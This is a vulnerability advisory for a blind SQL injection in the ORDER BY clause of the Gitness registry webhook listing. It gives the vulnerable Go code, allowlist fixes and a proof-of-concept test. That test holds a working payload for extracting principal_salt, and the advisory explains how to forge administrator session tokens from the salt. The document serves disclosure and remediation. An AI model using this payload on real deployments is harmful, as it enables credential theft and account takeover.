Description

Harness open source (Gitness) is a self-hosted platform for source control, pipelines and artifact registries. The registry API lists the webhooks of a registry at GET /registry/{ref}/webhooks with optional sort_field and sort_order query parameters. The controller copies the raw query-string bytes of sort_order into the DAO call with no normalization (registry/app/api/controller/metadata/list_webhooks.go:80):

sortByField := ""
sortByOrder := ""
if r.Params.SortOrder != nil {
	sortByOrder = string(*r.Params.SortOrder)
}
if r.Params.SortField != nil {
	sortByField = string(*r.Params.SortField)
}

webhooks, err := c.WebhooksRepository.ListByRegistry(
	ctx,
	sortByField,
	sortByOrder,
	...
)

The DAO allowlists the sort field but interpolates the order clause raw (registry/app/store/database/webhook.go:224):

validSortFields := map[string]string{
	"name": "registry_webhook_name",
}
validSortByField := validSortFields[sortByField]
if validSortByField != "" {
	query = query.OrderBy(fmt.Sprintf("%s %s", validSortByField, sortByOrder))
}

Every other value in the query is bound as a parameter; only the ORDER BY fragment is assembled with fmt.Sprintf. SortOrder is generated by oapi-codegen as a plain type SortOrder string (registry/app/api/openapi/contracts/artifact/types.gen.go:1223) with no runtime enum validation, so any bytes survive from the query string to the SQL text.

The project already has the correct guard and applies it everywhere else. GetSortByOrder (registry/app/api/controller/metadata/utils.go:220) coerces anything that is not DESC to ASC, and the sibling request-info helpers call it on every other listing endpoint (registry/app/api/controller/metadata/base.go:107 and :489). The webhook listing builds its parameters inline and is the one call path that skips the normalization. A second raw interpolation of the same pair sits in the upstream proxy DAO, which concatenates both field and order with no allowlist at all (registry/app/store/database/upstream_proxy.go:338):

q = q.OrderBy(" r.registry_" + sortByField + " " + sortByOrder).
	Limit(ulimit).
	Offset(uoffset)

Its callers currently normalize through the base helpers, but the DAO trusts its inputs, so a caller-side fix alone leaves a second unsafe path behind.

Reproduction

The DAO assembles the SQL with squirrel before any database round trip, so the injection is visible without a database. The in-package test below registers a mock driver that records the statement ListByRegistry prepares, and requests the webhook list with the attack payload as sort_order, exactly what GET /registry/{ref}/webhooks?sort_field=name&sort_order=<payload> reaches:

package database

import (
	"context"
	"database/sql"
	"database/sql/driver"
	"errors"
	"strings"
	"testing"

	"github.com/jmoiron/sqlx"
)

type recordDriver struct{ lastQuery string }

func (d *recordDriver) Open(string) (driver.Conn, error) { return &recordConn{d: d}, nil }

type recordConn struct{ d *recordDriver }

func (c *recordConn) Prepare(q string) (driver.Stmt, error) {
	c.d.lastQuery = q
	return nil, errors.New("captured")
}
func (c *recordConn) Close() error              { return nil }
func (c *recordConn) Begin() (driver.Tx, error) { return nil, errors.New("no tx") }

func TestPocSQLi(t *testing.T) {
	rec := &recordDriver{}
	sql.Register("recorder-poc", rec)
	sdb, err := sql.Open("recorder-poc", "unused")
	if err != nil {
		t.Fatal(err)
	}
	repo := NewWebhookDao(sqlx.NewDb(sdb, "postgres"))

	payload := "ASC,(SELECT CASE WHEN (substr((select principal_salt from principals limit 1),1,1)='a')" +
		" THEN registry_webhook_name ELSE registry_webhook_id END)"

	_, _ = repo.ListByRegistry(context.Background(), "name", payload, 10, 0, "", 1)

	sent := rec.lastQuery
	for _, needle := range []string{"SELECT CASE WHEN", "principal_salt", "registry_webhook_id END"} {
		if !strings.Contains(sent, needle) {
			t.Fatalf("payload fragment %q missing from SQL sent to the database:\n%s", needle, sent)
		}
	}
	t.Logf("SQL SENT TO DATABASE:\n%s", sent)
}

Run it inside a checkout of harness/harness:

go test ./registry/app/store/database/ -run TestPocSQLi -v

Observed output on main at commit 912a1f3 (fields truncated):

--- PASS: TestPocSQLi (0.00s)
    poc_sqli_test.go:47: SQL SENT TO DATABASE:
        SELECT registry_webhook_id, ... FROM registry_webhooks
        WHERE registry_webhook_registry_id = $1
        ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN
        (substr((select principal_salt from principals limit 1),1,1)='a')
        THEN registry_webhook_name ELSE registry_webhook_id END)
        LIMIT 10 OFFSET 0

The $1 binding shows that every other value is parameterized; the payload sits verbatim inside ORDER BY. PostgreSQL evaluates expressions there, so a CASE keyed on substr of any database value flips the row order (or raises an error) depending on the condition, which leaks one boolean per request. That is a full blind extraction primitive for any value the database user can read, one character and one bit at a time.

Impact

Blind SQL injection (CWE-89) reachable by any authenticated user who has view permission on any registry (enum.PermissionRegistryView is the gate at registry/app/api/controller/metadata/list_webhooks.go:46). The realistic target is principals.principal_salt: the JWT authenticator verifies session tokens with HMAC keyed only by that salt (app/auth/authn/jwt.go:99-107), so recovering a salt lets the attacker forge a valid session token for that principal, including administrators. The salt column is excluded from API responses (json:"-", registry/types/principal.go:37), which is exactly why the database has to be read through the query itself.

The injection is read-side exfiltration: the surrounding query is fully parameterized and the PostgreSQL driver does not run stacked queries, so the attacker cannot write to the database through this path.

Solution

Validate at both ends. The controller should normalize the parameter with the guard its siblings already use, which collapses any input to ASC or DESC:

sortByOrder = GetSortByOrder(sortByOrder)

But the DAO is the component that assembles the SQL, so it should not accept free text in the first place. An allowlist at the sink holds regardless of which caller reaches it:

validSortOrders := map[string]struct{}{"ASC": {}, "DESC": {}}
if _, ok := validSortOrders[strings.ToUpper(sortByOrder)]; !ok {
	sortByOrder = "ASC"
}

The upstream proxy DAO needs the same treatment for both parameters: an allowlist for the sort field (it currently concatenates the raw string onto a column prefix) and the same order check, so a future caller that forgets to normalize cannot reopen the hole.

Until a fix lands, block or rewrite the sort_order parameter of the webhook listing at the reverse proxy in front of the deployment; anything that is not exactly asc or desc (case-insensitive) can be dropped.

Timeline

  • 2026-09-24: Reported publicly as harness/harness#3724, found while scanning popular repositories with my static analyzer. The project's earlier security reports had gone unanswered; the current main branch (912a1f3) is affected.

References